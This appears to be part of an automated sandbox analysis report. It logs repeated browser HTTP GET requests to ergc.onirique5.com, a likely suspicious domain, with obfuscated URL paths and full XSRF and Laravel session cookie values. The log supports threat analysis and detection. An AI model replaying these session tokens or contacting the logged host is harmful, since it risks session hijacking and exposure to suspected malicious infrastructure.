laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvmvU2eviiQua1XE8tVZ9lojnyopwgkEO2Advvbba5X12130 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr1mylxsPMdb1axIIqjl2DRlmnPZZLL9rRa93v267140 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef9kueTswpS1TaKvcMP1ER62reuDuv4jchv0n0ulWVNoazKnFrggEj90141 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij38y3sqklHRUOWcyCZrItgSc9nhmpGCRid4sMx4J0opNE9kWxAfCIKX6dtPLVvBp3S5xyz227 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij9iRHckpm5aLMe201rc6Fu7OyDQ0cdLxPwVIJzTq4EVg1xv10ea78170 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxbbQWVs6P5fRuL5ewLBOWRfK6iCecyM1ZG2n40bopmy2zeL0mh98wpkTrU2f9o90171 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op347VQocLux8bJ296y3sGsK0qKDjDkaqzGUesijjEQdpuQn0RocxGscd200 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijrTSB9tguTRT3FiEnWGvF3FUqCxyMuYN7jdimfK608REX812203 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr1mylxsPMdb1axIIqjl2DRlmnPZZLL9rRa93v267140 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op347VQocLux8bJ296y3sGsK0qKDjDkaqzGUesijjEQdpuQn0RocxGscd200 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxbbQWVs6P5fRuL5ewLBOWRfK6iCecyM1ZG2n40bopmy2zeL0mh98wpkTrU2f9o90171 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opfzJagy9bhWoPZE6LdVeKwrAVMdrccdJLFkRMnbyAQstkOy6AKrYsS5G19v6hpABXO7kef240 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij9iRHckpm5aLMe201rc6Fu7OyDQ0cdLxPwVIJzTq4EVg1xv10ea78170 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef9kueTswpS1TaKvcMP1ER62reuDuv4jchv0n0ulWVNoazKnFrggEj90141 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; 